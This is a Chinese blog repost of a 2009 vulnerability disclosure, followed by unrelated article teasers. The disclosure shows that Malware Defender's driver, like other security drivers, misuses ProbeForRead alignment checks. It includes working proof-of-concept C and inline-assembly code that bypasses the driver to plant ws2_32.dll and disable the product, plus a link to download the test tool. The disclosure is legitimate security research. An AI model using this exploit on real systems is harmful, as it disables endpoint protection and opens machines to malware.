ProbeBypass攻击技术

SSRF漏洞之常见Bypass篇 SSRF–(Server-side Request Forge, 服务端请求伪造) 定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务 SSRF漏洞思维导图如下,本篇主要介绍利用SSRF Bypass利用原理与方式 SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤 一般的防御措施是对URL参数进行过滤,或者使得URL参数用户不可控,但当过滤方法不当时,就存在Bypass的不同方式 通过CTF 阅读详情

 作 者: qihoocom
时 间: 2009-10-29,22:37
链 接: http://bbs.pediy.com/showthread.php?t=100321

本文介绍了一种方法,利用很多安全防御软件在进行用户态内存校验时的漏洞,对其保护系统进行攻击,达到绕过保护的目的。

这是安全防御软件对于用户态内存校验未能慎重处理而引发的恶果之一。去年10月我曾在对国内外绝大部分主动防御产品的系列漏洞文章中,揭示了同样由于对用户态内存校验不慎重,导致的一些本地内核模式拒绝访问漏洞的问题,这里我将介绍利用这类漏洞进行的攻击绕过方法,这个漏洞是我去年发现并在内部圈子做过一些讨论的,现在我将它公开出来。

本文会以Malware Defender最新版 2.4.1的实际存在的漏洞为例,来讲解这个攻击方法,但并不代表仅有这个安全软件存在漏洞,市面上大部分带防御驱动的安全产品都存在此漏洞。

很多安全防御软件在进行用户态内存的校验时,会使用 ProbeForRead函数,这个函数的源代码如下:

代码:
   if (Length != 0) {
        if (((ULONG_PTR)Address & (Alignment - 1)) != 0) {
            ExRaiseDatatypeMisalignment();

        } else if ((((ULONG_PTR)Address + Length) > (ULONG_PTR)MM_USER_PROBE_ADDRESS) ||
                   (((ULONG_PTR)Address + Length) < (ULONG_PTR)Address)) {

            *(volatile UCHAR * const)MM_USER_PROBE_ADDRESS = 0;
        }
    }

我们可以看到它实际做了这么两件事:

1.检查缓存长度不为0后,检查内存是否按指定的字节数对其

2.检查整个缓存区是否位于用户态内存范围内

这两个检查任意一个不成功,该函数都会引发一个异常,通常防御软件的驱动程序会在调用这个API的函数内设置try_except,并由其来捕获异常。通常在安全软件的HOOK过滤函数中,当捕获到这个异常,会直接放行这个操作

那么很容易想到,如果过滤函数中,未能正确设置要对齐的字节数,例如,过滤函数中,对某个缓存设置的对齐字节数为2,那么若缓存地址并未按2对齐,这时过滤驱动就会放行这个函数请求。但是如果Windows内核中,对这个缓存并不需要其按2对其进行检查,那么这个请求就会成功执行了。。

以Malware Defender为例,其核心驱动mdcore.sys(2.4.0.0 Final , CheckSum:4AE56 Timestamp:0x4AE7D795),对NtCreateFile的挂钩中有这样的处理

代码:
HookedNtCreateFile(....)

{

IncRefCnt(NT_CREATE_FILE_INDEX);

... //省略无关代码

__try

{

ProbeForRead(ObjectAttributes , sizeof(OBJECT_ATTRIBUTES) , 1);

ProbeForRead(ObjectAttributes->ObjectName , sizeof(UNICODE_STRING) , sizeof(WORD));

///省略无关代码

}

__except(EXCEPTION_EXECUTE_HANDLER)

{

bPassRequest = TRUE ;

}

if (bPassRequest)

{

///此处调用原始函数,放行操作

}

可以看到,MD对ObjectAttributes的ObjectName参数进行ProbeForRead时,使用了对齐字节数 2 , 但系统对这个参数的对齐是如何处理的呢?

实际上NtCreateFile对这个参数的处理位于:NtCreateFile->IoCreateFile->IopCreateFile->ObOpenObjectByName->ObpCaptureObjectCreateInformation->ObpCaptureObjectName中

关键代码如下:

代码:
    try {

        if (ProbeMode != KernelMode) {

            ProbeAndReadUnicodeStringEx(&InputObjectName, ObjectName);

            ProbeForRead( InputObjectName.Buffer,
                          InputObjectName.Length,
                          sizeof(WCHAR) );

.....

ProbeAndReadUnicodeStringEx宏的实现:

代码:
#define ProbeAndReadUnicodeString(Source) /
    (((Source) >= (UNICODE_STRING * const)MM_USER_PROBE_ADDRESS) ? /
        (*(volatile UNICODE_STRING * const)MM_USER_PROBE_ADDRESS) : (*(volatile UNICODE_STRING *)(Source)))

可以看到,系统对这个参数压根没有进行任何字节对齐检查。

因此,我们可以构造一个特殊的NtCreateFile请求,并将ObjectName存放的缓存设置为不按2对齐的,就可以绕过MD的过滤,进行任何创建文件操作,例如,创建一个ws2_32.dll到md的目录下,导致其无法启动(正常MD保护打开时,是无法创建这个文件的)

示例代码如下:

代码:
WCHAR Filefname[MAX_PATH] = L"//??//c://program files//malware defender//ws2_32.dll//";


HMODULE hmod = GetModuleHandle("ntdll.dll");
PVOID pNtCreateFile = GetProcAddress(hmod , "NtCreateFile");

if (pNtCreateFile == 0)
{
   printf("cannot get NtCreateFile/n");
   getchar();
   return 0 ; 
}

HANDLE hFile ; 
ULONG FileAccess = DIRECTORY_ALL_ACCESS ;
OBJECT_ATTRIBUTES oba ; 
IO_STATUS_BLOCK iosb ; 
ULONG FileAttr = FILE_ATTRIBUTE_NORMAL ; 
ULONG FileShare = FILE_SHARE_READ | FILE_SHARE_WRITE ;
ULONG CreateDispos = FILE_CREATE ; 
ULONG CreateOptions = FILE_DIRECTORY_FILE;
LONG stat ;
UNICODE_STRING uniname ; 
uniname.Length = wcslen(Filefname) * sizeof(WCHAR);
uniname.MaximumLength = MAX_PATH * sizeof(WCHAR);
uniname.Buffer = Filefname ; 
PVOID pUniName = malloc(0x1000);
while (((ULONG)pUniName & 1) == 0 )
{
   pUniName = (PVOID)((ULONG)pUniName + 1) ; 
}

CopyMemory(pUniName , &uniname , sizeof(UNICODE_STRING));


InitializeObjectAttributes(&oba , (PUNICODE_STRING)pUniName , OBJ_CASE_INSENSITIVE , 0 , 0 );
__asm
{

   push 0
   push 0
   push CreateOptions
   push CreateDispos
   push FileShare
   push FileAttr
   push 0
   lea eax , iosb
   push eax
   lea eax ,oba
   push eax
   push FileAccess
   lea eax ,hFile
   push eax
   call pNtCreateFile
   mov stat , eax
}

if (stat != 0 )
{
   printf("cannot open file %ws %08x/n" , Filefname , stat);
   getchar();
   return 0; 
}

printf("create File OK!/n");

getchar();
return 0;

攻击结果:
 
名称:  tt1.JPG
查看次数: 648
文件大小:  68.7 KB

测试程序下载:

附件 killmdfile.rar
或到http://mj0011.ys168.com 漏洞演示目录下killmdfile.rar下载

Probe Request 帧结构详细分解 Probe Request帧结构 概述 probe request属于管理帧,其遵循管理帧的一般格式,在《802.11无线权威指南》中管理帧的一般格式为: 因为probe request属于管理帧,所以其也遵循这个格式。简单说明下各个部分的含义。 帧主体中大部份的数据,如果使用长度固定的位,就称为固定式位; 如果位长度不定,就称为信息元素( information element)。所谓信息元素,是指长度不定的数据区块。 每个数据区块均会标注上类型编号与大小, 各种信息元素的数据位都有特定的解释方式。 M 阅读详情

相关推荐

wifi数据包解析_WIFI协议详解

摘自:https://blog.youkuaiyun.com/leho666/article/details/89136542802.11帧的三种类型:管理帧:负责监督,主要用来加入或退出无线网络,以及处理基站之间连接的转移事宜。控制帧:与数据帧搭配使用,负责区域的清空、信道的取得以及载波监听的维护,并于收到数据时予以正面的应答,借此促进工作站间数据传输的可靠性。数据帧:好比 802.11 的驮马,负责在工...

weixin_39796652的博客 3365

渗透测试基础 - bypass-绕过阻挡我们的WAF(上)

渗透测试基础 - bypass-绕过阻挡我们的WAF(上)简介(bypass 与 waf)网站环境准备常用绕过方法漏洞总结 只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力????! 【请进行合法的渗透测试,有关内容只是用作个人复习。】 简介(bypass 与 waf) bypass 根据Google翻译的解释来看,是绕过的意思,且绕过是一个动作,那既然是动作,就会根据不同的障碍物的阻拦做出不同的绕过行为,这对应到我们今天的学习中也是如此。 WA

weixin_45488495的博客 4245

合格黑客都掌握的waf与Bypass攻击渗透实战技术

合格黑客都掌握的waf与Bypass攻击渗透实战技术。 WAF(Web Application Firewall)是一种保护Web应用程序免受各种攻击的安全解决方案。它通过监控、过滤和阻止恶意流量来保护Web应用程序。然而,黑客有时会尝试绕过WAF的防护措施,以便对网站进行攻击。

代码讲故事 401

【网络安全】DVWA之Content Security Policy (CSP) Bypass 攻击姿势及解题详析合集

CSP 可以阻止恶意代码、恶意插件或其他不受信任的资源被加载到页面上,从而增加页面的安全性。通过合理配置 CSP,网站管理员可以严格限制哪些资源能被加载,从而减少恶意代码执行的风险。指令设置 nonce ,其目的是为了提供额外的安全性,确保只有具有相应 nonce 的脚本能够被执行。接下来的代码段是一个表单,允许用户输入内容,并将该内容直接输出到页面中。这行代码,禁用了浏览器的跨站脚本攻击(XSS)防护机制,以便内联的弹窗警告框能够正常工作。的函数,用于处理异步加载的远程脚本返回的数据。

等风来 5740

在树莓派上部署训练好的YOLO模型

.pt.模型转换为onnx格式的模型,树莓派上部署模型

pai_da_xing8的博客 3887

ESP32Servo库驱动SG90舵机:从入门到精准控制

本文详细介绍了如何使用ESP32Servo库驱动SG90舵机,从硬件连接到软件环境搭建,再到编写示例程序实现精准控制。内容涵盖库安装、基础驱动代码解析、舵机校准方法以及平滑运动控制,帮助开发者快速掌握ESP32控制舵机的核心技能,并提供了电源管理、信号抗干扰等实用避坑指南。

ik678901的博客 899

刚入门小黑客记一次对某站点的渗透测试(bypass)

渗透已授权。非授权渗透是违法行为!

kjuhfkicf154的博客 1973

FreeSurfer安装避坑指南:从邮箱选择到环境变量设置的全流程解析

本文详细解析了在Windows系统上安装和配置FreeSurfer神经影像分析工具的全流程避坑指南。重点涵盖WSL2深度配置、软件版本选择、许可邮箱获取策略、环境变量模块化设置以及图形界面调试等关键步骤,帮助用户高效构建稳定的分析环境,避免常见安装陷阱。

weixin_29243063的博客 231

Probe Request

如果某AP的SSID是隐藏的 那么通常手机发送的普通的probe request包是无法获取到隐藏的SSID //////////////////////////////////// 无线客户端工作过程中,会定期地搜索周围的无线网络,也就是主动扫描周围的无线网络 根据Probe Request帧(探测请求帧)是否携带SSID,可以将主动扫描分为两种: 客户端发送Probe Request帧...

qq_43776408的博客 5173

一文读懂:CAN总线Bus-Off的触发条件与自动恢复机制

本文详细解析CAN总线Bus-Off状态的触发条件与自动恢复机制。根据ISO 11898-1标准,当发送错误计数器(TEC)超过255时节点进入Bus-Off状态,并通过检测128次总线空闲条件实现自动恢复。文章结合实战案例,探讨硬件故障、软件配置及电磁干扰等常见触发场景,并提供快慢恢复策略与调试方法,帮助工程师快速定位并解决CAN网络故障。

rgv234567的博客 361

Keil MDK v6迁移指南:从AC5到AC6的编译器升级与工程适配

编译器是嵌入式开发的底层基石,决定了代码的执行效率与工程的可维护性。随着ARM工具链向LLVM/Clang架构演进,Arm Compiler 6(AC6)正逐步取代经典的AC5,成为Keil MDK的核心编译引擎。AC6在C11标准支持、代码优化、诊断信息及LTO链接优化上全面超越AC5,但迁移过程中往往伴随内联汇编重写、类型检查严格化、库兼容性等问题。理解编译器差异、掌握CMSIS-Toolbox的工程描述机制,能帮助嵌入式工程师在Cortex-M系列项目中平滑过渡。本文结合Cortex-M4量产工程实战

weixin_29189363的博客 241

【Probe Request 探测请求、Probe Response 探测回应】

【Probe Request 探测请求、Probe Response 探测回应】

叫我小虎就行了的博客 1372

Ubuntu声卡检测与故障排查:从基础命令到驱动修复

本文详细介绍了在Ubuntu系统中进行声卡检测与故障排查的完整流程。从使用lspci、aplay等基础命令识别硬件,到排查驱动冲突、修复权限问题,再到调整PulseAudio高级配置,提供了一套系统性的解决方案。文章结合实战案例,帮助用户快速诊断并解决Ubuntu系统常见的“无声”问题,恢复音频功能。

g2h3i4j5的博客 229

什么是DDoS攻击

DDoS(Distributed Denial of Service,分布式拒绝服务)攻击, 是指攻击者控制僵尸网络中的大量僵尸主机向攻击目标发送大流量数据,耗尽攻击目标的系统资源,导致其无法正常地响应服务请求。

qq_32044265的博客 1629

【思考模型框架】MECE原则,确保分析时,考虑到的所有因素,既不重叠又无遗漏

MECE原则,是Mutually Exclusive and Collectively Exhaustive的缩写,中文译为“相互独立、完全穷尽”。MECE原则,这是一种逻辑思维和组织信息的方法,旨在确保分析时既没有遗漏也没有重复。MECE原则,相互独立、完全穷尽(Mutually Exclusive,Collectively Exhaustive)的原则MECE原则,确保分析时考虑到的所有因素既不重叠又无遗漏。

奶爸的编程之路,也就一周冷个三天 2756

Autosar配置——导入DBC后配置SecOC同步报文和同步请求报文

在Autosar中,安全性是一个重要的考虑因素,而SecOC(Secure On-Board Communication)是一种用于保护通信数据完整性和安全性的安全机制。在上述示例中,我们配置了同步报文和同步请求报文的属性。接下来,我们需要在Autosar中配置同步报文和同步请求报文。同步报文用于在通信双方之间同步SecOC状态,而同步请求报文用于请求SecOC的状态信息。通过以上配置,我们成功地导入了DBC文件,并在Autosar系统中配置了SecOC同步报文和同步请求报文。希望以上信息对您有所帮助!

CyberSphinx的博客 649

第二章——常见的几种攻击方法

Prime+Abort攻击通过利用Intel TSX的事务内存特性,不需要依赖高精度定时器,仅通过事务是否提交或中止的信息来推测缓存的状态变化。这种方法能够提供高精度的缓存状态分析,是一种有效的缓存侧信道攻击手法。

qq_52843384的博客 2987

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

WIFI协议详解

本博客整理自网络,仅供学习参考,如有侵权,联系删除。邮箱:rom100@163.com。 802.11帧的三种类型: 管理帧:负责监督,主要用来加入或退出无线网络,以及处理基站之间连接的转移事宜。 控制帧:与数据帧搭配使用,负责区域的清空、信道的取得以及载波监听的维护,并于收到数据时予以正面的应答,借此促进工作站间数据传输的可靠性。 数据帧:好比 802.11 的驮马,负责在工作站之间传...

leho666的博客 4万+

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

probe request帧结构_WIFI探针原理

WIFI 探针原理:WIFI 是基于IEEE802.11a/b/g/n 协议,在标准协议中,定义了AP(无线接入点)和STA(站或客户端)的两种工作模式;协议中规定了BEACON、ACK、DATA、PROBE 等多种无线数据帧类型,在站连接到无线接入点时进行交互的就是数据桢和应答帧、同时AP 周期性发送BEACON。在站点没有连接到无线接入点上,手机客户端等站点也会发送PROBE 帧进行探测询问哪...

weixin_39653442的博客 4054

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

管理帧:Probe Request和Probe Response

帧包含两个位:SSID 以及 Supported Rates(移动工作站所支持的速率)。收到 Probe Request 帧的工作站会据此判定对方能否加入网络。移动工作站必 须支持网络所要求的所有数据速率,并以 SSID 表明所欲加入的网络。SID 可设定为特定网络 的 SSID,或设定为任何相容网络的 SSID。允许网卡加入任何网络的驱动程式,将会在 Probe Requests 中使用 broadcast SSID。送出最后一个 Beacon 帧的工作站,必须负责应答所收到的检测信息。

weixin_51757595的博客 523

Windows 11 首次开机OOBE阶段跳过连接网络及登录微软账户,使用本地账号登录的方法

以前Windows 10在首次开机OOBE阶段只要不连网线和WiFi就能选择使用本地账户进行登录,现在Windows 11没有这样的选项了,似乎必须要联网且使用微软账户登录。后来找到了好用的方法来跳过这个步骤。 1、电脑不要插网线,来到连接WiFi的界面,不要连接WiFi。 2、按Shift+F10(部分笔记本可能是Shift+Fn+F10)呼出cmd窗口,输入taskmgr后回车,这条命令用于打开任务管理器。 3、在【详细信息】里找到【OOBENetworkConnectionFlow.exe】,将

Junson142099的博客 12万+

XSS攻击、BYPASS及防御

XSS攻击、BYPASS及防御攻击一、 反射型XSS二、 存储型XSS三、 DOM型XSSbypass漏洞修复 攻击 一、 反射型XSS 前端 -> 后端 -> 前端 在URL中+ 一般存在在id=xxx 将xxx替换为,观察页面是否弹出”1” 若成功弹出,则存在反射型xss注入漏洞 二、 存储型XSS 前端 -> 后端 -> 数据库 -> 前端 输入框中的内容会存储在数据库中,然后回显在网页上 一般存在在留言框和页面搜索框中 2. <script>aler

qq_45944626的博客 1166

伪AP检测技术研究

转载自:http://www.whitecell-club.org/?p=310 随着城市无线局域网热点在公共场所大规模的部署,无线局域网安全变得尤为突出和重要,其中伪AP钓鱼攻击是无线网络中严重的安全威胁之一。 受到各种客观因素的限制,很多数据在WiFi网络上传输时都是明文的,如一般的网页、图片等;甚至还有很多网站或邮件系统在手机用户进行登陆时,将帐号和密码也进行了明文传输或...

abg49988的博客 993

probe request帧结构_IEEE802.11协议基础知识

1. 802.11管理功能–用户接入过程STA (工作站)启动初始化、开始正式使用、AP 传送数据幀之前,要经过三个阶段才能接入:(1) 扫描(SCAN)(2) 认证(Authentication)(3) 关联(Association) 1.1 802.11管理–扫描(SCAN)1) 若无线站点 STA 设成 Ad-hoc (无AP)模式:STA先寻找是否已有 IBSS(与STA所属相同的SSI...

weixin_39709178的博客 1469

WLAN 无线网络 09 - 管理帧

802.11 WLAN 定义了三种类型的帧格式,他们分别是:管理帧(Management Frame)、控制帧(Control Frame)和数据帧(Data Frame)。帧头部中的类型字段中会标识出该帧属于哪个字段。这篇博文仅仅介绍管理帧, 后面接下来会继续介绍控制帧和数据帧。正如上图所示,在802.11帧格式中,前两个字节为Frame Control字段,其中前两位为协...

weixin_33881140的博客 730

托攻击的多种攻击方式-----WZW托攻击学习日记(五)

这一次,介绍几种托攻击模型。托攻击是什么? 托攻击就是恶意用户或竞争对手公司可能试图在用户-项目矩阵中插入假的个人资料,以影响预测的评级或降低系统的性能。 接博客《托攻击检测基础知识-----WZW托攻击学习日记(一)》。在介绍托攻击的类型之前,再回顾一下,托攻击模型为 托攻击模型将整个系统的所有项目分为4种类型,所有用户分为两种类型。 项目分别为: 目标项目,target item...

qq_28358305的博客 3342
上一篇: 当我们完全控制CISCO路由器时能够做的事情
下一篇: 使用RSA1024算法防止软件被Keygen
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值